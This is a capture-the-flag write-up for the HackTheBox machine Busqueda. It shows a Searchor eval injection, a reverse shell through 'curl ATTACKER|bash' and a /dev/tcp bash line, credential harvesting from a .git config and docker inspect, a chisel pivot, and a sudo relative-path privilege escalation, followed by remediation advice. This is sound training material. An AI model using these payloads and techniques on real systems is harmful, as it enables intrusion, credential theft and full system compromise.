Busqueda

Platform : HackTheBox
Type : boot2root
Difficulty : ⭐⭐☆☆☆

Table of contents

Reconnaissance

Nmap scan

# Nmap 7.93 scan initiated Fri May 26 09:41:03 2023 as: nmap -A -p- -oN nmapResults.txt -d 10.129.228.217
--------------- Timing report ---------------
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
---------------------------------------------
Nmap scan report for 10.129.228.217
Host is up, received syn-ack (0.038s latency).
Scanned at 2023-05-26 09:41:04 EDT for 19s
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read from /usr/bin/../share/nmap: nmap-service-probes nmap-services.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 26 09:41:23 2023 -- 1 IP address (1 host up) scanned in 20.74 seconds

Web reconnaissance

When going to http://[TARGET_IP]/, we are redirected to http://searcher.htb/. Let’s add this domain name to our /etc/hosts file :

┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Busqueda]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.228.217  searcher.htb

Now, let’s see what’s on this web server using our web browser :

There is a web application that allows us to select a search engine and enter a query to be searched. We can also enable Auto redirect if we want to be automatically redirected to our search result. There is a detail on a Python library that is installed on the web server :

When we click on Searchor 2.4.0, we are redirected to it’s github page. The installed version (2.4.0) is not the latest. When looking at the Release page, we can see this update note :

So there was a vulnerability in versions earlier than 2.4.2. Since Searchor 2.4.0 is installed on the webserver, it should be vulnerable. Let’s click on check out the patch here to see what part of the code was patched :

So, the eval function is used in the script, which can be dangerous if user input is not properly sanitized. Now, let’s take a look at the edited source code (in the Files changed section) :

We may be able to inject a python reverse shell in the query parameter.

Initial access

Let’s try to search something and capture our request made to the web server using Burp Suite:

POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://seacher.htb
Connection: close
Referer: http://searcher.htb/
Upgrade-Insecure-Requests: 1

engine=Accuweather&query=anything&auto_redirect=

First, we need to start a listener :

┌──(kali㉿kali)-[~/…/CTF/Easy/Busqueda/exploits]
└─$ pwncat-cs -lp 4242
[11:16:22] Welcome to pwncat 🐈!
bound to 0.0.0.0:4242 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Now, we can inject our payload in the query parameter :

POST /search HTTP/1.1
Host: searcher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Origin: http://seacher.htb
Connection: close
Referer: http://searcher.htb/
Upgrade-Insecure-Requests: 1

engine=Accuweather&query=',exec("import+subprocess;subprocess.getoutput('curl+10.10.16.25|bash');"))#&auto_redirect=

Using this payload, this is what will be passed in the eval function on the server side :

eval(f"Engine.{engine}.search('',exec(\"import subprocess;subprocess.getoutput('curl 10.10.16.25|bash');"))#', copy_url={copy}, open_web={open})")

So this is what will be executed :

Engine.Accuweather.search('',exec("import subprocess;subprocess.getoutput('curl 10.10.16.25|bash');")

Our payload will be passed as the second argument of the search function. The payload I use will send a GET request to http://[ATTACKER_IP]/index.html, and then pass the response to bash. So I need to write a malicious index.html file that contains a reverse shell :

┌──(kali㉿kali)-[~/…/CTF/Easy/Busqueda/exploits]
└─$ nano index.html
                                                              
┌──(kali㉿kali)-[~/…/CTF/Easy/Busqueda/exploits]
└─$ cat index.html 
#!/bin/bash

sh -i >& /dev/tcp/10.10.16.25/4242 0>&1

Then, I need to start a simple web server using python :

┌──(kali㉿kali)-[~/…/CTF/Easy/Busqueda/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Finally, we can send the request with Burp Suite and then take a look at our listener :

┌──(kali㉿kali)-[~]
└─$ pwncat-cs -lp 4242
[11:19:44] Welcome to pwncat 🐈!                                     __main__.py:164
[11:19:46] received connection from 10.129.228.217:54344                  bind.py:84
[11:19:47] 0.0.0.0:4242: upgrading from /usr/bin/dash to              manager.py:957
           /usr/bin/bash                                                            
[11:19:48] 10.129.228.217:54344: registered new host w/ db            manager.py:957
(local) pwncat$                                                                     
(remote) svc@busqueda:/var/www/app$ whoami
svc

We have a foothold as svc.

Post-exploitation

Local reconnaissance

In /var/www/html, we can find a .git directory :

(remote) svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 May 26 13:38 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 templates

Let’s take a look in it :

(remote) svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 May 26 13:38 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1 14:35 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1 14:35 config
-rw-r--r-- 1 www-data www-data   73 Dec  1 14:35 description
-rw-r--r-- 1 www-data www-data   21 Dec  1 14:35 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1 14:35 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1 14:35 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1 14:35 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1 14:35 refs

There is a config file. It may contains credentials :

(remote) svc@busqueda:/var/www/app/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

Privilege escalation

We have a password for cody user. Maybe the same password was used for svc user ? We can verify this by using sudo -l to list our sudo rights, it should ask for a password :

(remote) svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

It worked, so the password for cody user is the same for svc local user. We also know that we can run /usr/bin/python3 /opt/scripts/system-checkup.py * as root. Let’s see what happen when we try to run this command :

(remote) svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py help
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

We can run docker-inspect through this script. We may be able to retrieve sensitive information from a container with this command. Let’s try to run it :

(remote) svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

We need a container name and the our query which seems to be passed in the –format option. So let’s use docker-ps to get containers name :

(remote) svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   4 months ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   4 months ago   Up 3 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Let’s try to retrieve all informations we can from the second container (f84a6b33fb5a) :

(remote) svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' f84a6b33fb5a
  {
    "Id": "f84a6b33fb5a09bcda93aa23ed0203e1597548a53368ea37c5e6a4d94f9334f8",
    "Created": "2023-01-06T17:26:45.724856768Z",
    "Path": "docker-entrypoint.sh",
    "Args": [
      "mysqld"
    ],
    "State": {
      "Status": "running",
      "Running": true,
      "Paused": false,
      "Restarting": false,
      "OOMKilled": false,
      "Dead": false,
      "Pid": 1735,
      "ExitCode": 0,
      "Error": "",
      "StartedAt": "2023-05-26T13:39:04.980835861Z",
      "FinishedAt": "2023-04-04T17:03:02.25154071Z"
    },
    "Image": "sha256:7484689f290f1defe06b65befc54cb6ad91a667cf0af59a265ffe76c46bd0478",
    "ResolvConfPath": "/var/lib/docker/containers/f84a6b33fb5a09bcda93aa23ed0203e1597548a53368ea37c5e6a4d94f9334f8/resolv.conf",
    "HostnamePath": "/var/lib/docker/containers/f84a6b33fb5a09bcda93aa23ed0203e1597548a53368ea37c5e6a4d94f9334f8/hostname",
    "HostsPath": "/var/lib/docker/containers/f84a6b33fb5a09bcda93aa23ed0203e1597548a53368ea37c5e6a4d94f9334f8/hosts",
    "LogPath": "/var/lib/docker/containers/f84a6b33fb5a09bcda93aa23ed0203e1597548a53368ea37c5e6a4d94f9334f8/f84a6b33fb5a09bcda93aa23ed0203e1597548a53368ea37c5e6a4d94f9334f8-json.log",
    "Name": "/mysql_db",
    "RestartCount": 0,
    "Driver": "overlay2",
    "Platform": "linux",
    "MountLabel": "",
    "ProcessLabel": "",
    "AppArmorProfile": "docker-default",
    "ExecIDs": null,
    "HostConfig": {
      "Binds": [
        "/root/scripts/docker/mysql:/var/lib/mysql:rw"
      ],
      "ContainerIDFile": "",
      "LogConfig": {
        "Type": "json-file",
        "Config": {}
      },
      "NetworkMode": "docker_gitea",
      "PortBindings": {
        "3306/tcp": [
          {
            "HostIp": "127.0.0.1",
            "HostPort": "3306"
          }
        ]
      },
      "RestartPolicy": {
        "Name": "always",
        "MaximumRetryCount": 0
      },
      "AutoRemove": false,
      "VolumeDriver": "",
      "VolumesFrom": [],
      "CapAdd": null,
      "CapDrop": null,
      "CgroupnsMode": "private",
      "Dns": [],
      "DnsOptions": [],
      "DnsSearch": [],
      "ExtraHosts": null,
      "GroupAdd": null,
      "IpcMode": "private",
      "Cgroup": "",
      "Links": null,
      "OomScoreAdj": 0,
      "PidMode": "",
      "Privileged": false,
      "PublishAllPorts": false,
      "ReadonlyRootfs": false,
      "SecurityOpt": null,
      "UTSMode": "",
      "UsernsMode": "",
      "ShmSize": 67108864,
      "Runtime": "runc",
      "ConsoleSize": [
        0,
        0
      ],
      "Isolation": "",
      "CpuShares": 0,
      "Memory": 0,
      "NanoCpus": 0,
      "CgroupParent": "",
      "BlkioWeight": 0,
      "BlkioWeightDevice": null,
      "BlkioDeviceReadBps": null,
      "BlkioDeviceWriteBps": null,
      "BlkioDeviceReadIOps": null,
      "BlkioDeviceWriteIOps": null,
      "CpuPeriod": 0,
      "CpuQuota": 0,
      "CpuRealtimePeriod": 0,
      "CpuRealtimeRuntime": 0,
      "CpusetCpus": "",
      "CpusetMems": "",
      "Devices": null,
      "DeviceCgroupRules": null,
      "DeviceRequests": null,
      "KernelMemory": 0,
      "KernelMemoryTCP": 0,
      "MemoryReservation": 0,
      "MemorySwap": 0,
      "MemorySwappiness": null,
      "OomKillDisable": null,
      "PidsLimit": null,
      "Ulimits": null,
      "CpuCount": 0,
      "CpuPercent": 0,
      "IOMaximumIOps": 0,
      "IOMaximumBandwidth": 0,
      "MaskedPaths": [
        "/proc/asound",
        "/proc/acpi",
        "/proc/kcore",
        "/proc/keys",
        "/proc/latency_stats",
        "/proc/timer_list",
        "/proc/timer_stats",
        "/proc/sched_debug",
        "/proc/scsi",
        "/sys/firmware"
      ],
      "ReadonlyPaths": [
        "/proc/bus",
        "/proc/fs",
        "/proc/irq",
        "/proc/sys",
        "/proc/sysrq-trigger"
      ]
    },
    "GraphDriver": {
      "Data": {
        "LowerDir": "/var/lib/docker/overlay2/dea767bc68f589fb78dfe58af4c1b2ee57f1c52008a0cbedf40739ebfc1e27f0-init/diff:/var/lib/docker/overlay2/a4da5d7e3df4c4cf7f6b2fe7df9d796b09e4b9d5b8430afb9bda10312385acd1/diff:/var/lib/docker/overlay2/73a0df4fac76e17181389bf89f324eb674d40ad26fc0cf5d4570c0fe2dbb52c0/diff:/var/lib/docker/overlay2/1705a1d523a56b654d350ccd41961cd541f8d22fade1e497c441ced2fd93e39a/diff:/var/lib/docker/overlay2/e4441c5b0550897758a6122664b3024905bc374ce89071f62ce957e8e802922d/diff:/var/lib/docker/overlay2/ef058a407a2a6c54acb02f9b015081d72e576ad284a14ab22d1e455a1c8e030f/diff:/var/lib/docker/overlay2/2e330bfa21f2c72223a60d2e90e9b856116d086e42607494166556b31c5cd40d/diff:/var/lib/docker/overlay2/f90d2dd1fd62543f813e0c01ddb5c8d9b5a0f85e5a638a3cbdc7d54da3c06184/diff:/var/lib/docker/overlay2/df21f9ce55eb6858cb6c78ae8da6574dde9ec267342c5d2076a58db14a6d27aa/diff:/var/lib/docker/overlay2/c772565ab63c4c69c5a74fc583a926e468fda9231836f22e70f93097829f481d/diff:/var/lib/docker/overlay2/70d25e07bcfdd16b9b867063259ab16d8bcf3940cc21516262f6feaa67fdb71d/diff:/var/lib/docker/overlay2/c030c975c92c921fa203634104a1bde311b1227e4c5be595fbb5a0a2c5de3ad5/diff",
        "MergedDir": "/var/lib/docker/overlay2/dea767bc68f589fb78dfe58af4c1b2ee57f1c52008a0cbedf40739ebfc1e27f0/merged",
        "UpperDir": "/var/lib/docker/overlay2/dea767bc68f589fb78dfe58af4c1b2ee57f1c52008a0cbedf40739ebfc1e27f0/diff",
        "WorkDir": "/var/lib/docker/overlay2/dea767bc68f589fb78dfe58af4c1b2ee57f1c52008a0cbedf40739ebfc1e27f0/work"
      },
      "Name": "overlay2"
    },
    "Mounts": [
      {
        "Type": "bind",
        "Source": "/root/scripts/docker/mysql",
        "Destination": "/var/lib/mysql",
        "Mode": "rw",
        "RW": true,
        "Propagation": "rprivate"
      }
    ],
    "Config": {
      "Hostname": "f84a6b33fb5a",
      "Domainname": "",
      "User": "",
      "AttachStdin": false,
      "AttachStdout": false,
      "AttachStderr": false,
      "ExposedPorts": {
        "3306/tcp": {},
        "33060/tcp": {}
      },
      "Tty": false,
      "OpenStdin": false,
      "StdinOnce": false,
      "Env": [
        "MYSQL_ROOT_PASSWORD=j[HIDDEN]F",
        "MYSQL_USER=gitea",
        "MYSQL_PASSWORD=y[HIDDEN]h",
        "MYSQL_DATABASE=gitea",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        "GOSU_VERSION=1.14",
        "MYSQL_MAJOR=8.0",
        "MYSQL_VERSION=8.0.31-1.el8",
        "MYSQL_SHELL_VERSION=8.0.31-1.el8"
      ],
      "Cmd": [
        "mysqld"
      ],
      "Image": "mysql:8",
      "Volumes": {
        "/var/lib/mysql": {}
      },
      "WorkingDir": "",
      "Entrypoint": [
        "docker-entrypoint.sh"
      ],
      "OnBuild": null,
      "Labels": {
        "com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
        "com.docker.compose.container-number": "1",
        "com.docker.compose.oneoff": "False",
        "com.docker.compose.project": "docker",
        "com.docker.compose.project.config_files": "docker-compose.yml",
        "com.docker.compose.project.working_dir": "/root/scripts/docker",
        "com.docker.compose.service": "db",
        "com.docker.compose.version": "1.29.2"
      }
    },
    "NetworkSettings": {
      "Bridge": "",
      "SandboxID": "98405ecf5683d3e33f30385ec0fae1af396c26933f18437db2a0d92dfa5223b0",
      "HairpinMode": false,
      "LinkLocalIPv6Address": "",
      "LinkLocalIPv6PrefixLen": 0,
      "Ports": {
        "3306/tcp": [
          {
            "HostIp": "127.0.0.1",
            "HostPort": "3306"
          }
        ],
        "33060/tcp": null
      },
      "SandboxKey": "/var/run/docker/netns/98405ecf5683",
      "SecondaryIPAddresses": null,
      "SecondaryIPv6Addresses": null,
      "EndpointID": "",
      "Gateway": "",
      "GlobalIPv6Address": "",
      "GlobalIPv6PrefixLen": 0,
      "IPAddress": "",
      "IPPrefixLen": 0,
      "IPv6Gateway": "",
      "MacAddress": "",
      "Networks": {
        "docker_gitea": {
          "IPAMConfig": null,
          "Links": null,
          "Aliases": [
            "f84a6b33fb5a",
            "db"
          ],
          "NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
          "EndpointID": "79150f24bdc46c593085cd837bc609e91d375358e71a77fc77b3c1926744f31c",
          "Gateway": "172.19.0.1",
          "IPAddress": "172.19.0.3",
          "IPPrefixLen": 16,
          "IPv6Gateway": "",
          "GlobalIPv6Address": "",
          "GlobalIPv6PrefixLen": 0,
          "MacAddress": "02:42:ac:13:00:03",
          "DriverOpts": null
        }
      }
    }
  }

There are multiple environment variable on this container, two of them are particularly interesting :

MYSQL_ROOT_PASSWORD=j[HIDDEN]F
MYSQL_PASSWORD=y[HIDDEN]h

We can try to use the password from MYSQL_ROOT_PASSWORD to connect to MySQL as root :

(remote) svc@busqueda:/var/www/app/.git$ mysql -h 127.0.0.1 -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 66
Server version: 8.0.31 MySQL Community Server - GPL

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Now, we have access to MySQL. Let’s list databases :

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

There is a gitea database. We also found a container for gitea when we used docker-ps earlier. There is no other interesting information in the database since we cannot crack any password hashes. Let’s use netstat -tulpn to see on what port Gitea is accessible :

(remote) svc@busqueda:/var/www/app/.git$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      1543/python3        
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43765         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:222           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Let’s try to use curl on port 3000 to see what response we have :

(remote) svc@busqueda:/var/www/app/.git$ curl localhost:3000 | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<!DOCTYPE html>
<html lang="en-US" class="theme-auto">
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Gitea: Git with a cup of tea</title>
        <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRo5hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaX
        <meta name="theme-color" content="#6cc644">
        <meta name="default-theme" content="auto">
        <meta name="author" content="Gitea - Git with a cup of tea">
100 13237    0 13237    0     0  1167k      0 --:--:-- --:--:-- --:--:-- 1292k
curl: (23) Failed writing body

So Gitea is running on port 3000, but it is only accessible locally. We can use chisel to port forward port 3000 to our attacking host. First, let’s set up a chisel server :

┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Busqueda]
└─$ chisel server -p 9999 --reverse                       
2023/05/26 13:14:40 server: Reverse tunnelling enabled
2023/05/26 13:14:40 server: Fingerprint OrJCa8LzIgyUeffAFVKczpc12EeCbzRsqjlmtSixtAQ=
2023/05/26 13:14:40 server: Listening on http://0.0.0.0:9999

Now, after uploading a chisel binary on the target, we can run a chisel client to forward port 3000 :

(remote) svc@busqueda:/home/svc$ wget 10.10.16.25/chisel
--2023-05-26 17:16:00--  http://10.10.16.25/chisel
Connecting to 10.10.16.25:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8384512 (8.0M) [application/octet-stream]
Saving to: 'chisel'

chisel                          100%[=====================================================>]   8.00M  7.26MB/s    in 1.1s    

2023-05-26 17:16:01 (7.26 MB/s) - 'chisel' saved [8384512/8384512]

(remote) svc@busqueda:/home/svc$ chmod +x chisel
(remote) svc@busqueda:/home/svc$ ./chisel client 10.10.16.25:9999 R:3000:localhost:3000

Now, on our attacking host, we can open our web browser and go to http://localhost:3000/ :

Then, we can try to login as administrator on Gitea using the password we found earlier in the environment variables of the docker container. The password from MYSQL_ROOT_PASSWORD variable will not work, but when we try the one from MYSQL_PASSWORD :

We successfully logged in and we are redirected to our list of projects. Let’s see what’s on the scripts repository :

Let’s take a look at system-checkup.py :

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output


def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

It’s the file we are able to run as root with our sudo rights. If you look at the end of the process_action function, you can notice something wrong :

elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

The problem here is that the script will run full-checkup.sh from where the script is run. For example, if we run the script while our current wordking directory is /tmp, it will try to run /tmp/full-checkup.sh. We can craft a malicious script named full-checkup.sh that sets the SUID bit on /bin/bash :

(remote) svc@busqueda:/home/svc$ nano full-checkup.sh
(remote) svc@busqueda:/home/svc$ cat full-checkup.sh 
#!/bin/bash

chmod +s /bin/bash
echo "It works !"

Now, let’s run sudo python3 /opt/scripts/system-checkup.py full-checkup :

(remote) svc@busqueda:/home/svc$ chmod +x full-checkup.sh 
(remote) svc@busqueda:/home/svc$ sudo python3 /opt/scripts/system-checkup.py full-checkup
It works !

[+] Done!

Our script has been executed successfully. Now let’s take a look at /bin/bash permissions :

(remote) svc@busqueda:/home/svc$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash

It has the SUID bit enabled now. Finally, we can run bash -p to get a shell as root :

(remote) svc@busqueda:/home/svc$ bash -p
(remote) root@busqueda:/home/svc# whoami
root
(remote) root@busqueda:/home/svc# id
uid=1000(svc) gid=1000(svc) euid=0(root) egid=0(root) groups=0(root)

Vulnerabilities summary

Remote Code Execution

FieldValue
Affected componentSearchor
CVSS 3.0 score9.8 (Critical)
CVSS 3.0 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ImpactAllows an attacker to execute arbitrary code as svc to gain a foothold on the system.

This has a high impact on the confidentialityintegrity and availability of the affected component.
Remediation propositionUpdate Searchor, this vulnerability is patched since version 2.4.2.

Arbitrary Code Execution

FieldValue
Affected componentsystem-checkup.py script
CVSS 3.0 score7.8 (High)
CVSS 3.0 vectorAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
ImpactAllows an attacker to execute an arbitrary shell script named full-checkup.sh in his current working directory. This can lead to full system compromise.

This has a high impact on the confidentialityintegrity and availability of the entire system.
Remediation propositionUse absolute path instead of relative path.

Tools used

ToolPurpose
Nmap– Scan for open ports
– Scan services versions
BurpSuite– Analyse and modify requests sent to the web server
curl– Send web requests to enumerate local web services
Pwncat-cs– Handle reverse shell connections
chisel– Port forward local services to the attacking host

Sources

Retour en haut